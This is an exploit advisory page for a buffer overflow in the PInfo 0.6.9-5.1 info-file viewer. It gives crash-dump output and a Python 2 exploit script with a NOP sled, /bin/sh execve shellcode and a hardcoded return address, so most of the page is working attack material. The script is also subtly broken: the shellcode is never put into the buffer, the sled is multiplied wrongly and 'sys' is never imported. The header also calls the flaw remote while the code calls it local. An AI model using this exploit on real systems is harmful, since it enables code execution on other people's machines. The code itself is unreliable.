PInfo 0.6.9-5.1 Buffer Overflow

2016.06.28
Credit: Juan Sacco
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

# Exploit developed using Exploit Pack v5.4 # Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com # Program affected: PInfo - File viewer # Version: 0.6.9-5.1 # # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org # Program description: An alternative info-file viewer # pinfo is an viewer for Info documents, which is based on ncurses. # Kali Linux 2.0 package: pool/main/p/pinfo/pinfo_0.6.9-5.1_i386.deb # MD5sum: 9487efb0be037536eeda31b588cb6f89 # Website:http://pinfo.alioth.debian.org/ # # $ run -m `python -c 'print "A"*564+"DCBA"'` # Program received signal SIGSEGV, Segmentation fault. # --------------------------------------------------------------------------[regs] # EAX: 0x00000002 EBX: 0xB7F0B000 ECX: 0x00004554 EDX: 0x00000100 o d I t s z a P c # ESI: 0x41424344 EDI: 0x00004554 EBP: 0xBFFFF4A4 ESP: 0xBFFFEF30 EIP: 0xB7D92832 # CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B # --------------------------------------------------------------------------[code] # => 0xb7d92832 <__GI_getenv+114>: cmp di,WORD PTR [esi] # 0xb7d92835 <__GI_getenv+117>: jne 0xb7d92828 <__GI_getenv+104> # 0xb7d92837 <__GI_getenv+119>: mov eax,DWORD PTR [esp+0x14] # 0xb7d9283b <__GI_getenv+123>: mov DWORD PTR [esp+0x8],eax # 0xb7d9283f <__GI_getenv+127>: mov eax,DWORD PTR [esp+0x18] # 0xb7d92843 <__GI_getenv+131>: mov DWORD PTR [esp+0x4],eax # 0xb7d92847 <__GI_getenv+135>: lea eax,[esi+0x2] # 0xb7d9284a <__GI_getenv+138>: mov DWORD PTR [esp],eax # -------------------------------------------------------------------------------- # # gdb$ x/100x $esp # 0xbffff250: 0xbffff49c 0x00000003 0x00000001 0x00000002 # 0xbffff260: 0xb7d6ebf8 0xb7fe78bd 0xb7d74ffd 0x41049384 # 0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141 # 0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141 # 0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141 # 0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141 # 0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141 import os, subprocess def run(): try: print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco" print "# This Exploit has been developed using Exploit Pack" # NOPSLED + SHELLCODE + EIP buffersize = 564 nopsled = "\x90"*200 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" eip = "\x40\xf3\xff\xbf" buffer = nopsled * (buffersize-len(shellcode)) + eip subprocess.call(["pinfo -m",' ', buffer]) except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, PInfo File Viewer - Not found!" else: print "Error executing exploit" raise def howtousage(): print "Snap! Something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit" print "Author: Juan Sacco - Exploit Pack" except IndexError: howtousage() run()


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